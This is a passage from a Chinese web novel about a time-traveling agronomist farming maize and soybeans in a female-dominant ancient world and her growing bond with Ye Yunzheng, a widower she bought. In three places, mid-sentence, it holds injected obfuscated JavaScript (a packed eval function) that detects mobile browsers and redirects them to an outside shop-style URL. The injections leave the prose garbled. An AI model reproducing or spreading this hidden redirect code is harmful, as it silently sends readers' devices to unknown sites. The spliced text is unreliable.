为什么娘子的语气就好像有十亩地的活等着干一样? 不过,娘子的田地不大,打理的却很好,上面的作物看起来比他以前四五亩地的粮食还多。 程明月田地旁边就有一条小河,一河之隔就是胡二娘家的田,她检查完虫害后,提起木桶去河边打水,玉米是幼苗期可以旱,结穗后不能旱,影响成粒。 刚到河边,便看到村正的女儿吴娘子坐在河边钓鱼,吴娘子到程明月后打了个招呼。 问她:“听胡家老二说你也买了个男人,怎么不让他来打水?” 程明月道:“不是男人,不对,是男人,但不是那种关系,他是来给我帮忙的。” 吴娘子笑道:“就你那两亩地,还要两个人干?你要真想找人帮忙还不如买个女人,又便宜,这会儿你就可以把地里的活全扔给她,自己来钓鱼了。” 临江县刚有难民时,吴村正就买了一个女人,所以吴娘子才能躲懒过来钓鱼。 程明月来河边打水时经常看到吴娘子在钓鱼,由于程明月在现代的导师是个钓鱼佬,有很多钓鱼心经,程明月拿着从导师那里学来的钓鱼心经和吴娘子交流了几次后,吴娘子也便将她奉为钓鱼大师。 关系也熟了起来。 程明月心说我孤身一人,又不像你家一大家子人,还是村正,买个女人也不怕她反了天去。 这种原因肯定不能说,程明月笑道:“你想拉我钓鱼直说,不用拐弯抹角,不过你就是说的天花乱坠我也不会来,我还有地要收呢。” 吴娘子哈哈大笑,问她田里什么时候收成,说:“程娘子,你那两块地里种的那个高高的东西咱也不懂,也不知道将来能结出个啥子来。” 程明月现学现卖:“那个叫做玉米,又叫番麦,可贵了,到时候收了我送你一筐,不过你家的谷子收了记得也要给我留一袋种子。” 吴村正家田里的作物是整个村子长得最好的。 他们村子里的良田一般都是冬天种小麦,来年四五月收获后,然后蓄水种水稻,十月收获。 吴娘子说:“那必须,你就是不送我什么番麦玉米的,就冲着你教我钓鱼那两手,我也得送你一袋种子。” 和吴娘子在湖边分开,程明月把地里所有作物浇了个遍,把菜地也浇了一遍。她又回到湖边打了两桶水赶回家,到家时刚刚赶上叶云峥把饭做好。 8. 处暑08 程明月推开门提着水晃晃悠悠的进去。 叶云峥原本正在揉面,看到程明月赶紧过来帮忙接,两个人合力把两桶水倒进水缸。 锅里冒着热气,叶云峥看到程明月回来,紧张的用抹布擦了擦手,带着歉意说:“菜已经好了,馒头还得一会,我去管邻居借了点老面,花了点时间,回来醒发又浪费了不少时间,所以现在还没好。” 这是重点吗? 重点是,有馒头唉,她从来没想到还能蒸馒头,暄乎又软和的大馒头! 她都是随便和点水,搞个混合着豆子的面糊糊汤喝,从来没想过还能搞馒头。 程明月问:“你的老面是管胡二娘家借的?你还挺善长交际。” 他不好意思的揉着手:“胡二娘带夫郎过来认门,我就管她借了。” 哦,叶云峥一说程明月想起来了,胡二娘之前说过,有了夫郎回来要在村子里带给大家伙看看。 其实就算不是夫郎,她也该带叶云峥给村里人认认,只是村里的人她都认不全,别说给叶云峥介绍了。 她就只认识吴村正和她家的女儿吴娘子、胡家二娘和她老爹,其他人……别人认识她,她不认识别人。 这样其实很不好,主要是不安全,古代社会的安全是靠宗族乡正所提供的,现在临江县还算安定,可今年山下水稻减产,临江县整体收成都下降。 官府害怕未来临江县自己也受灾,不肯随便开义仓放粮,毕竟灾民不是自己的百姓。 面对汹涌而来的灾民,先是劝他们去别的地方,然后再挤牙膏式的开粥铺赈灾,最后看很多灾民撑不住快死在临江县前头了,宁愿劝县里的人出点粮食买了他们都不愿意正式开仓放粮。 灾民最开始据说签个三年的短契还要三斛粮食,后来便宜到只要几斗粮食就能买一个人五到十年。 可就这样,临江县的普通百姓也买不起,不是这几斗粮食出不起,而是未来这个人一年三百多天的餐食出不起。 这么下去,只怕有些流民会铤而走险,乡间会有匪盗作乱,到时候只靠她和叶云峥两个人,肯定是没有办法抵御的。 过两天还是借着带叶云峥认人的机会和村里人认识下。 得和村里处好关系,互帮互助,如果真的来了强盗劫匪,全村的人提了斧头锄子共同抗敌,才能有些胜算。 很快,锅里的馒头和玉米一起蒸熟了,叶云峥炒了一个南瓜丝,他将馒头玉米、炒南瓜、炖豆子端到桌子上,满满当当的,蒸腾的热气在空气中弥漫着,看着很是喜人。 程明月迫不及待地拿起一个馒头,咬了一口,满足地说道:“真好吃。”比她的厨艺好多了,馒头很香,吃着还能回甘。 她拿起一根玉米递给叶云峥:“尝尝这个。” 叶云峥手捧着玉米,那金黄的玉米粒饱满而诱人。他咬了一口玉米,细细咀嚼着,混合着淡淡的清香和淀粉被蒸熟后的那种甜糯气息在唇齿间蔓延开来。 “好吃吗?”程明月期待的看着他。 怎么可能会不好吃,叶云峥重重的点了点头,或许是热气腾的他眼睛湿润,他快速的用手指按了按眼角。 还记得路上遭遇粮食被抢走一半后,公爹好几天都没给他吃东西,他肚子里就像火烧一样难受,整个人都晕乎乎的。 公爹和小姑背着他吃饼,却一口都不分给他,那时候他就想,哪怕能有一口吃的也好啊,哪怕是半个馊了的馒头。 现在程明月自己吃普通的馒头,却将番麦这样稀有的食物让给他吃。 他将嘴里的玉米咽下去,清了清嗓子认真的说:“好吃的,非常好吃。娘子,这个你不要带到集市上卖,拿到县里卖给城里的粮商,定能换到许多银钱的。” 程明月嘴角上扬:“好,我听阿峥的。” 除了她刚把他买下时给他的那个烧饼是狼吞虎咽之外,叶云峥吃饭都很斯文秀气,嘴里的饭不咽下去便不开口说话,这种斯文和乡间的粗放显得有些格格不入,明显是受过良好的礼教。 吃完饭,叶云峥把程明月带到卧房,床上散落着上午买回来麻布,还有些针线绳矩。 叶云峥拿起绳距,对程明说:“娘子,我给你量量尺寸。” 听到娘子这二字,程明月微微有些不自在,在这里娘子只是对女子的一种尊称,但在她之前的古代这两个字是夫妻间的称呼。 两人独处在床边,更是让她心慌意乱,程明月看了看旁边的布料,和叶云峥说:“你可不能只把细麻做成我的衣裳,我会生气的。细麻的是我们的里衣,粗麻的用来做外衣和裤子。” 我们和里衣这两个词放在一起,有种说不出来的亲密感。 她挪到叶云峥身边,叶云峥拿着绳矩,当他的手指轻轻触碰到程明月的肩膀时,两人的身体仿佛被瞬间冻住,一种奇异的感觉如电流般窜过。 叶云峥强作镇定,一边量着一边说:“你放心,我会按你说的做,这麻布虽然粗,但还算厚实,做出来的衣服肯定合身。” 程明月内心慌乱,绷着身子不敢动。 量完尺寸,叶云峥裁剪布料时,程明月在一旁帮忙递剪刀针线。 不经意间,他们的手又碰在了一起,心跳骤然加快。 叶云峥赶紧收回手,又往旁边挪了挪,掩饰着自己的羞涩。 程明月却被他这样避之不及的模样搞得有些失落。 她坐在床上反思了一下自己,她原本买鳏夫就是为了避免麻烦,却因叶云峥容貌动了心。 完全忘记了他是个封建社会男子的身份,尤其是他以前貌似说过自己是秀才家的儿子。 这种读书人家的儿子,思想可能会更加被封建礼教束缚。 程明月扭头看了叶云峥一眼,他虽然躲到离她最远的角落,可手上动作依旧麻利。 秀才在古代当是挺有社会地位的,刚刚在田边他能认识玉米,还知道红薯这种外来货说明他的家底还算殷实,可为什么他会对各种农活、针线活这么懂呢? 程明月有问题从不闷在心里,直接问了叶云峥。 叶云峥顿了顿,脸上流露出一丝怅然:“我爹家确实过得还算殷实。” “是我后来嫁人后,才学会的这些农活。” 叶云峥母亲是乡间秀才,开了一间私塾,教乡里的孩子们读书,他从小就生活在镇上,虽不是大富大贵,日子也过得平淡温馨。 他就在无忧无虑的生活中一直生活了十八年,一直到嫁人,然后天翻地覆。 之后的生活就一直向下,每当他以为已经够苦了,不可能再苦的时候,生活就会给他迎头一击,告诉他还不够苦,还可以更苦。 程明月叹气:“你父母竟然也忍心,既然你家境还可以,他们为什么会把你嫁到那样的人家。” 叶云峥道:“我定婚时,妻家过得还不错,是乡里有名的富户,后来妻家奶奶死了,她家分了家,我婆婆喜好赌钱,把家产败了个干净,自己也被讨债的人打死,他们只好卖掉镇上的房子回到乡下老家。” “以前我的……我之前的妻主,小时候是在我母亲私塾中读书,念书上很有天分,可因为这个也不得不弃文从商,结果在跑马时遭遇强盗,全车队的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712128|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都死了。” 程明月:“既然她家在你家出事前就没落了,为何你家还要将你嫁过去呢?” 叶云峥低着头:“我母亲说,许人一诺,千金难移。男子当不为穷变节,不为贱易志。” 程明月不能理解:“这种话都是要求自己的,怎么能要求别人呢,还是要求自己儿子,以牺牲儿子的幸福为代价,也太过于狠心了吧。” 叶云峥苦笑:“男人本就如此,出生是第一次投胎,出嫁是第二次投胎,境遇如何全靠命。” 程明月试探的问:“你妻主在你母亲私塾读书,那你们岂不是从小就认识,那不就是青梅竹马?” 叶云峥低着头,小声说:“算是吧。” 唉,程明月又叹了一声。她说不清楚这声叹息是惋惜叶云峥苦难过往还是别的。 不光有封建礼教守节的规训,还有青梅竹马两小无猜的爱情。 想到这两天相处中的心动,程明月有些不甘心,说不定只是父母之命罢了。 她小心翼翼的问:“你跟她有感情吗?” 什么叫感情呢?叶云峥不知道。 是小时候她给他带的小玩意,还是长大定亲后,她偷看他时红扑扑的脸? 叶云峥沉默点了点头。 程明月本来是觉得找个鳏夫来帮忙挺好的,不用担心他有别的心思。 她之前也担心找个年轻未婚的男人,万一被赖上就麻烦了,叶云峥心里有人,那就不会轻易赖上她。 可为什么叶云峥承认他和死去的前妻有感情,她心头却滋味难言。 良久,程明月拍拍他的肩:“阿峥,你放心,我知道你不甘愿为奴,被我买了心里难受,但我不会对你怎么样的,你愿意替她守就守,你不愿意以后想嫁人也可以。” 如果她真的需要一份感情,直接找未婚小男生就行了,何必缘木求鱼,逼一个心中记挂着亡妻的人喜欢她呢。 她又不是像别的穿越女,穿到王侯将相身上,或是乡绅富商的女儿身上,有大把的时间去谈恋爱。 她穿过来的时候身无分文,朝不保夕。每日辛苦劳作才能勉强存活,生存副本已经如此艰难,感情上何必再给自己上难度呢。 更何况逼一个一心守节的女尊封建男性追求爱情,打破封建礼教,不就像原来社会里拉良家下海,劝妓女从良的男人一样可笑。 说到底,她和叶云峥也不过萍水相逢,当初偶然的机遇下,她把他买下了而已,并没有多么深的感情,至于心中的悸动,不过是她自己见色起意而已。 程明月努力露出一个灿烂的笑,笑中带着几分僵硬:“那个,我看你的身契上,比我小几个月,以后你就是我弟弟,咱们努力把日子过好,你不用防着我。” 程明月说的很快,声音也很轻,她说到最后几句话几乎没了声音,也不知道是说给自己听还是给叶云峥听。 叶云峥有些茫然的看着她,他不明白程明月为什么要跟他说这么一大段话。但他看程明月似乎有些坐立难安,贴心说:“娘子不用再这里帮我,我一个人可以的。” 她起身说:“那我先去洗漱。你也别弄太久,天马上就黑了。” 叶云峥点头:“娘子快去吧。” 程明月本来脚都走到门外了,忽然想什么,又转过身,对叶云峥说:“对了,以后你还是喊我程娘子吧,或者程姐姐也行。” 别再喊我娘子,否则我的心会被你扰乱。 说完她便匆匆离去。 叶云峥有些不知所措的看着程明月离去的背影,刚刚心中的甜突然泛上了一丝酸意。 9. 处暑09 直至洗漱完毕躺在床上,叶云峥也没有想明白程明月为何突然跟他说让他不要叫她娘子,而是要喊程娘子。 他咬了咬唇,在她说这话之前,问了他和之前妻主的往事。 她该不会因这个嫌弃他吧。 叶云峥摇了摇头,不应该是这个原因,她买他之前便知道他是鳏夫了,如果介意便不会救他。何况……她那时和牙婆说的很清楚,他又不是娶夫。 叶云峥心中苦涩,他只是一个被随手买来的侍奴而已,侍奴哪里会被要求坚贞呢。 反反复复的将见到程明月后,两人之间发生的所有事,所有对话在脑子里盘了一遍,叶云峥仍是没能想明白为什么,最后迷迷糊糊的睡着了。 第二日清晨,他醒来时察觉又睡过了头,已经天色大亮。 叶云峥心中懊恼万分,暗暗责怪自己。 想必是来到这里后过得太过安逸,周围既没有压迫感的笼罩,才导致他如此懈怠。 这么下去可不行。 农户向来都是无论女人还是男人都要劳作的,就算程娘子是个好人,若他懒惰散漫,必定会加以惩治。 他连忙掀开被子起床,走到院子里看到程明月正在晾晒场上用胡二娘借给她的连枷敲打黄豆。 叶云峥走过去,愧疚地低下了头,他声音带着些歉意:“我……我又起晚了,对……对不起。” 说完赶紧补充道:“明日我定会早起帮你干活的。” 程明月停下手中的动作,抬起头看着他。 她目光温和,微笑着说:“没关系的,你本来养伤就要好好休息嘛。这黄豆也不多了,很快就能挑完。对了,你腿上的药换了吗?” 叶云峥摇摇头,怯怯的望着程明月:“只是一点皮肉伤,没有伤到筋骨,不耽误的走路的。” 程明月连忙摆摆手,语气中透露出关切:“快回去把药换了,可不能偷懒,你要是伤一直不好,我可不敢让你帮我干农活。再说了,你也不是什么都没干,你还得缝衣服了啊,对了,你衣服缝完了吗?” 叶云峥摇头。 程明月招呼他过来,轻轻扯平他衣角的褶皱,柔声说道:“现在你立刻回去,先把药换了。你要记住,每天的任务中,换药是第一位的,其次是裁衣,然后是准备我们的两顿饭,最后还要把小鸡照顾好。” 程明月觉得给他分的任务也挺多的,毕竟他才来了不到三天。 叶云峥点点头,转身回屋,回去的路上他看到路边有些野苋菜长势甚好,便拔了一些。 在屋里换好药后,他又把昨天做了一半的布料和衣服找出来,仔细地穿针引线。 院子里,程明月继续敲打着最后这点儿黄豆,心中盘算着接下来的农活安排。等黄豆都处理完,还得去田里看看玉米的长势。她也希望叶云峥的伤能快点好起来,这样就多一个帮手。 这次收豆子因为只有她一个人其实掉了不少,收玉米可不能这么浪费了。 叶云峥看日头高挂了,便去到厨房开始做饭,昨天的玉米和馒头都有剩,所以今天的饭做的很快,他用新买的油盐调料炒了个苋菜。 当饭菜的香气飘满院子时,程明月还没有回来,叶云峥走到晾场上,看到豆子已经被程明月打完了,豆秸在一旁堆得高高的。 程明月盘着腿坐在地上,面前有一个大水盆,她正在……数豆子? 每一粒她甚至都拿起来对着太阳看看才放到筐里,一粒一粒的数的非常认真。 叶云峥拿不准是否要过去,还好程明月及时发现了他。 “你药换好了?” 叶云峥点头,他说:“程娘子,饭做好了,先去吃了饭再来干吧。” 她看了看面前这一大摊,对叶云峥道:“你自己先吃吧,给我留一点就行。” 程明月在挑种,走不开,这种方法叫水选法,就是把黄豆倒入水里,观察黄豆的沉浮情况。 饱满的、质量好的黄豆通常会下沉,而干瘪的、不饱满的或者有病虫害的黄豆则会浮在水面上。 她把漂浮的黄豆先筛出去,再把沉底的豆子一颗颗的观察它们的外观,颗粒饱满,大小均匀的才会留下,外观有一点不对她都会挑出去。 这可是关乎未来生活的大事,有破损的豆子容易受到病菌感染,影响以后种子发芽率。 一鼓作气把种子挑出来晒干装袋她才能放心。 过了一会,她听到身后又有脚步声,转过头发现叶云峥提着一个小篓子过来,他盘腿坐在程明月身边,递给她一块湿帕子,从篓子里面拿了一个馒头给她。 程明月一看,乐了,中式汉堡-馒头夹菜。 之前沉浸在挑种子里面不觉得饿,现在闻到饭菜香味才发现肚子早就咕咕叫了,她擦了擦手,拿起馒头咬了一大口:“好吃!这个是什么菜?” 她是搞粮食作物育种的,对青菜研究不多,地里那点南瓜萝卜还是她导师来指导她作业时,闲来没事种的。 叶云峥说:“这个是野苋菜,不知道你喜不喜欢吃,我只夹了一个,你要是喜欢我再给你夹。” 野苋菜啊,程明月问:“当初你们逃荒的时候,是不是吃了很野菜?” 叶云峥把盘子里的东西拿出来,有白馒头,玉米,一盘炒青菜,一碗清炖南瓜汤。他笑着说:“我们走的太晚,路上连树皮都有人吃,哪有野菜能剩下。” 程明月心中感慨,古代的百姓真的很惨,完全没有风险抵抗的能力,比如假如忽然三年大旱,现代社会可以人工降雨,可以开闸放水,实在一颗粮食都不长还有保险托底,还有粮食调配。可在这里,人们只能等死。 风调雨顺时尚且朝不保夕,一旦遇到荒年就要流离失所。 自己穿越过来能带着这两亩实验田和几件破屋真的要感激。所以她更加不能懈怠,要珍惜所有能种出粮食的时候。 现在家里就剩半缸白面了,等她把豆子筛完,估计还能有几十斤残次豆子可以吃。 玉米要抓紧时间收,空出来地才能种土豆。趁着天还没冷赶紧种上,虽说这里的天气还没降温,但也不能耽误。 土豆的产量都是传统粮食不能比的,真的能种出来几千斤粮食她才能心安。 自己力量微薄,更要用心去经营这片土地,珍惜每一颗粮食,才能守护住这一方小小的安稳。 想到这里,程明月几口吃完,又端起南瓜汤喝了一大口,拿出一根玉米对叶云峥说:“我吃这些就够了,日头太晒,你快回去吧。” 说罢,她又扑身于自己的豆子堆里。 临近下午豆子才被分拣完毕,一共挑出来四斗的种子,剩下七八斗残次豆子。算是能裹住她们一段时间的口粮。 程明月把豆种摊开晾干收起来,豆秸也捆扎好堆放到角落里,黄豆的活计算是告一段落。只是接下来存放是个大问题,现在豆子不多,还能往厨房里堆,堆不下了还能放叶云峥那间房子里头。 等玉米下来可真没地方堆,还不像现代能用塑料布蒙上。 不过这个问题现在急也没用,程明月又去地里看了遍玉米,这会儿的玉米正是新鲜的时候,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712129|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃正好,当粮食收的话还要晒个几天再收会比较好。 棉花也是,也得等个几天。 她背着一个背篓,采了不少新鲜玉米,想着这几天趁着玉米好吃先吃玉米。背着玉米回去时便看到叶云峥正坐在屋檐下头认真的缝衣裳,嘴角不由的勾了起来。 “程娘子回来了,可饿了要吃饭?”叶云峥看到她便笑着问道,一面起身向她走来。 程明月抬头望了望天色,当下正值夏末秋初之际,太阳落山较晚,此时天空依旧明亮。 “等会儿,你好些日子没吃过荤腥了吧,过几日空了我去抓些鱼来。” “我无妨的,程娘子今日辛苦了,快把东西放下来松快松快。” 叶云峥慢慢的走过来,帮着她将背篓解下来,看到她肩上被麻绳勒的红红的印子,急道:“怎么会这样?!”说着他顺着程明月肩颈看到她脖子和下巴上,凝脂般的肌肤布满了密密麻麻的红点,顿时拧起眉头:“这里怎么了。” 还能怎么了,程明月苦笑。 还不是程明月这个身娇肉嫩的现代人,吃不了苦,背点重物就压出来红痕。 至于脖子上的红点,也是因为掰玉米的时候,皮肤被玉米须子和玉米叶摩擦,导致皮肤表层轻微受损才长出来的。 她浑不在意似得说:“没事儿,明天就好了。” 叶云峥摸了摸那些红点,眼睛里全是心疼:“很难受吧。” 难受吗?自然是瘙痒难受,那点点红斑仿佛是一群恼人的小虫子在皮肤上作祟。可她之前为什么毫无感觉。 哦,之前并没有人这样关切的看着她,问她是否难受。穿越到落后的古代社会,是否能习惯。 在这世上,她只有一个人。 以往所有的人际关系,生活的体验全都化为乌有。 她若想活下去,只有咬着牙闭着眼,不去想以前的事情,才能勉勉强强的活下去。她怕如果她去想以前的事情,她就会撑不住。 程明月之前的生活一帆风顺,如果她身上被划个小口子,都会被很多好友体贴关怀怎么了,然后给她摸碘酒,给她贴创可贴。 她以前烦恼的东西是什么? 是生理期太痛了好烦恼,是同学吵架调和好难,是毕业了也不知道能找到一份什么样的工作,是我喜欢的人不喜欢我他可真是瞎眼。 如今她烦恼的却是下一顿饭从哪里来,地里的粮食够不够她挺到下一波丰收,破屋三间能不能抵御严寒,陌生的村民会不会突然伤害她,她到底能不能活着看到明天的太阳。 哪里还会为了身上这一点红斑而烦恼,不去管它,自然很快就好了。至于双肩的红痕,更是怪她自己皮肤娇嫩,等反复磨破起出来茧子了自然就不会再有红痕了。 可如今被叶云峥用这样关切的语气问,是不是很难受,她才发现原来自己很疼很痒。 “是有一点……不过没关系,忍忍就好了。” 叶云峥用手指触碰了一下,皱着眉头说道:“我给你拧个帕子敷一敷吧。” 说罢,他转身就去凉水里投了个帕子,轻轻敷在程明月的脖子上。 一股清凉的感觉瞬间传来,那瘙痒的感觉似乎减轻了不少。程明月舒服地闭上了眼睛,由衷地说道:“感觉好多了,多谢。” 叶云峥睁大眼睛看着她:“程娘子为何要谢我,这是我应该做的啊。” 程明月心中一暖,她知道叶云峥是真在心疼她。她温柔的看着他,声音中带着她自己都察觉不到的柔意:“是我的错,我是想说,有阿峥在真好。” 10. 处暑10 你要是问程明月,叶云峥来了这两天到底起了多大作用,她还真答不上来,算经济账的话目前为止肯定是亏的。 她买他花了半斛豆子不说,给他治伤又花了不少钱。 她又怕他伤口愈合太慢容易感染,不让他干重活,衣服也不是说一夜就能做好。 可他来了这里之后,程明月就是觉得心里沉甸甸的,就好似有了一个人,还是个无依无靠需要靠她而活的男人之后,一切就变得不一样了。 她又盘算了下目前的处境,无论如何,玉米肯定是丰收了。 只要不发生洪涝,土豆定也能收个几千斤,吃饭应该是没有问题。 问题是粮食储存和过冬怎么办。 粮食储存需要挖个地窖,过冬的话就要修补房屋,或者另外起一个新屋。 地窖这一项她还勉强能自己挖,房屋无论是修补改善还是新盖一个,都不是她一个人,或是说,不是她和叶云峥两个人能完成的。 这么闭门造车不是办法,她现在村子里连个认识的人都没有,古代农耕社会可不是现代原子社会,一个人的力量是很难活下去的。 但她毕竟有两块农田,有庄稼,现在还有了叶云峥,鲁滨逊到了小岛上还能越过越好呢,她还不信她程明月都到了女尊世界了还不能闯出来一片天,她才穿来一个月所以才这么劳累,她不信一年后她还要这么辛苦的度日。 她脑袋里的知识是最大的宝藏。 不过么,鲁滨逊那句话说的对。 一个人只是坐着,空想得不到的东西,那是没有用的。 得想法子认识一些人。 不过最近事情太多,她要收玉米,收棉花,收完之后还要种土豆。种完土豆之后,会有很长一段时间农闲时期,到时候可以慢慢来。 她想下山看看能不能给她的玉米打开销路,一开始她想拉叶云峥一起,可叶云峥却拒绝了。 他低着头吞吞吐吐的说:“我之前公爹来临江,就是投靠临江附近的大户人家,我怕进城之后……” 程明月只得另做他谋,她不想一个人去县城,她对这里一无所知,万一碰到什么禁忌了呢?得找个古人给她带路。 想清楚这些后,程明月决定先从胡二娘和吴娘子这两个她还算认识的人入手。 胡二娘之前便帮过她,这个时候去求助会比较容易得到帮助,人都喜欢帮之前帮过的人。 吴娘子看起比较机灵,探销路找她应该比较合适。 她看了看手中的玉米,心里有了主意,她对叶云峥说:“自从你来这儿之后我还没带你见过人,你先回去煮点玉米,等天色晚一点我们去拜访下村里人吧。” 叶云峥温顺地点了点头。 日头渐西,程明月提了一篮子生玉米,叶云峥提了一篮子熟玉米,两人沿着小路向村里走去。 他们这次拜访的是一河之隔的胡二娘家。 刚走到河边就看到吴娘子正在河边钓鱼,这个点她总是准时出现在这里。 她看到程明月头跟她打了个招呼:“嘿,你家番麦收完了吗?什么时候跟我一起钓鱼啊。这位是……”她看到程明月身后跟着的叶云峥。 程明月拉着叶云峥给她介绍:“他叫叶云峥,是我请来给我家帮忙的。阿铮,她是村正的女儿,吴娘子。” 吴娘子好奇的目光流连在叶云峥身上,他不自然的朝程明月身后躲了躲。 程明月拿了一根煮的熟玉米来到吴娘子跟前:“这就是我地里的番麦,你先尝一根,回头我让阿峥送一些到你家。” 吴娘子拿起来看了看,又闻了闻:“这玩意能好吃的了吗?” 程明月说:“你尝尝不就知道了,对了,我过几日想去城里看看这个的销路,你跟我一起吧。” 吴娘子是只要不让她种地,她什么都乐意干的,当下同意。 程明月跟她约定好时间,就拉着叶云峥继续去胡二娘家。 胡家是程明月来到这个世界后认识的第一个人家,胡二娘是她交的第一个好友,连叶云峥现在身上穿的夏衣,都是她用豆子和胡老爹换的,很多农具也是胡二娘借给她的。 经过这些天的观察,胡家老爹和胡二娘都是敞亮人,和村民处好关系先从胡家应该会比较容易。 到地方的时候胡二娘不在家,胡老爹正在院子里喂鸡,他穿着一身朴素的粗布衣裳,头发随意地挽在脑后。 程明月热情地和他打招呼,说道:“伯父,这是我们家新收的玉米,也叫番麦,特意给您送一些来尝尝。” 看到程明月和叶云峥来非常开心:“程丫头来啦,快来坐,可是找二娘有事儿?她去地里收谷子啦。”说着招呼自家新女婿:“竹郎,去喊你娘子回来。” 胡二夫郎唉了一声,擦了擦手就往门外走。 胡老爹连忙摆手,有些局促地说道:“哎呀,这怎么好意思呢,你们种点东西也不容易。” 但他手却已经不由自主地接过了玉米,那玉米棒颗粒饱满,在阳光下泛着金黄的色泽。程明月从叶云峥的篮子里拿了一个煮熟的玉米递给他。 胡老爹咬了一口,眼睛顿时亮了起来,一边咀嚼一边说道:“呦,这玉米咋这么好吃,又香又甜,我在村里这么多年,还从来没吃过这种滋味的东西呢。” 程明月笑着说:“伯父喜欢就好,我们还有很多呢,以后可以常给您送些来。” 正说着,胡二娘风尘仆仆地从外面赶了回来,她的小夫郎乖顺的跟在她身后。 她的额头上还挂着细密的汗珠,看到程明月眼睛瞬间弯了起来:“明月,今年冬天我种小麦和油菜打算按照你说的条播种,也不知道种的对不对,回头种的时候你来帮我看看。” 程明月自然点头:“那必须的。” 条播在现代20世纪50年代开始推广的一种技术,程明月的套种法就是在条播的延伸技术。 和传统的撒播相比,条播植株分布均匀,光照与通风良好,利于光合作用与空气流通。 作物一条条排列便于施肥、除草等管理,能使种子、肥料高效利用,可以提高小麦产量与质量。[1] 之前胡二娘向程明月请教为什么她的大豆能长这么好的时候,程明月就教了她这种方法,还跟她说了小麦条播时理论较优的行距和株距。 胡二娘也是农村好把式,一听就意识到程明月说的有道理,打算今年再种小麦时她辟出来一半的地用条播法种的。 “对了,你来找我有什么事儿不?咋带了这么多这个啥东西过来,想换点粗面?” 胡二娘是知道程明月家没有小麦的,之前程明月的粗面也是管她换的。 程明月说:“那个叫玉米,又叫番麦,番邦传过来的。我明日想去山下看看销路,想请你跟我一起。” 胡二娘爽快答应:“那明天等天亮我去你家喊你。” “好,不过我可能会再拉上一个人,村正家的吴娘子。” 胡二娘皱眉:“那个大小姐,你带她干嘛啊,成天就知道吃喝玩乐,她除了钓鱼还会什么。” 吴娘子在村里的名声大约就是村正家那个败家闺女,好好的农村孩子天天不想着种地,就知道玩。 也就是农村条件不好,吴娘子手头没钱所以只能钓鱼,有点钱她就去山下花了。 程明月笑着说:“就是吴娘子知道吃喝玩乐才找她啊,不然我们两个去了县里一摸黑。” 倒也是。 胡二娘想想觉得程明月说的有道理,便也不再二话。 程明月在一旁和胡二娘子几句话把明天安排掉,另一边,胡老爹拉着叶云峥不住的说:“这小郎君长得真好。” 他的目光满是赞赏,又看了看自家的女婿竹郎,脸上洋溢着自豪,“我家竹郎也是,又漂亮又能干,家里的活计都打理得井井有条。”叶云峥听到夸赞,脸上带着腼腆笑了笑,心里却有些不好意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712130|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程明月怕误会连忙上前介绍说:“伯父,阿峥是我请回来的帮工,只签五年短契,干个几年人家就是自由身了。” 胡老爹笑着说:“谁要你来讲了,我还不会看,人家还不会自己说。” 在胡老爹看来,不过是程明月年轻面薄,不好意思罢了。估计她心里爱重这个新买的小夫郎,怕别人听说他是买来的轻慢他,所以才时刻强调他五年短契的良家身份。 要他说,老程家的人就是古怪,都是农家老百姓,买来的又有啥好遮掩的,他家女婿不也是一起从山下买来的嘛,乡里大姑娘多小伙子少,能娶夫郎就不错了。 又不是高门大户和读书人,谁会在意这些东西。 想到这儿他又有些发愁:“唉,今年收成本就不好,聘竹郎又花了一斛麦子,估计竹郎和二娘的婚事今年难办成了。” 竹郎听了这话将头低下来,绞着衣服不敢说话。 胡二娘道:“娘,你咋又说这个了。不是说好了明年再说吗?” 胡老爹笑着说:“对对,等明年娃儿下来了再说也一样。” 听到这句话,程明月来了兴趣,她来这个世界将近一个月了,只知道是女尊,还不知道是哪种女尊呢。 也不知道是女人生孩子还是男人生孩子。 她竖起耳朵听起来,想听听他们接下来能不能娃儿是怎么下来的上面,谁知他们说道这儿就打住了,胡二娘开始留程明月在他家吃晚饭。 程明月没听到想听的内容,也没兴趣吃晚饭,再三推辞才走到门外,她怕胡二娘留她吃饭,说:“你的条播麦子明天咱们从山下回来我去看。” “没事,你路上看着点啊,天色有些黑了。” 程明月忽然又想起什么,对胡老爹说:“伯父,明天我和二娘去山下,您要是有时间,带阿峥认识下村里人吧,别哪天村里人见了个陌生人,吓一跳就不好了。” 胡老爹笑眯眯的答应了:“你放心,我带着我家女婿跟他一起,定不会吓着他。” 程明月这才放心下来。 等程明月走了之后,胡老爹跟胡二娘说:“这丫头,面忒薄,还说不是夫郎呢,不是夫郎用得着这么费心请我带他和村里人认识吗。” 